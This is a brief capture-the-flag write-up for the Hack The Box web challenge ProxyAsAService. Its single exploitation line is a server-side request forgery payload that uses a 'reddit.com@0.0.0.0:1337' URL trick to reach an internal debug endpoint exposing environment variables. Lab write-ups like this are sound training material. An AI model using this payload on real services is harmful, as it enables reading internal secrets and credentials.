https://app.hackthebox.com/challenges/549

Description

Experience the freedom of the web with ProxyAsAService. Because online privacy and access should be for everyone, everywhere.

Exploitation

/?url=reddit.com@0.0.0.0:1337/debug/environment

Summary

ProxyAsAService: identify the broken request handling, prove control, and use it to recover the flag.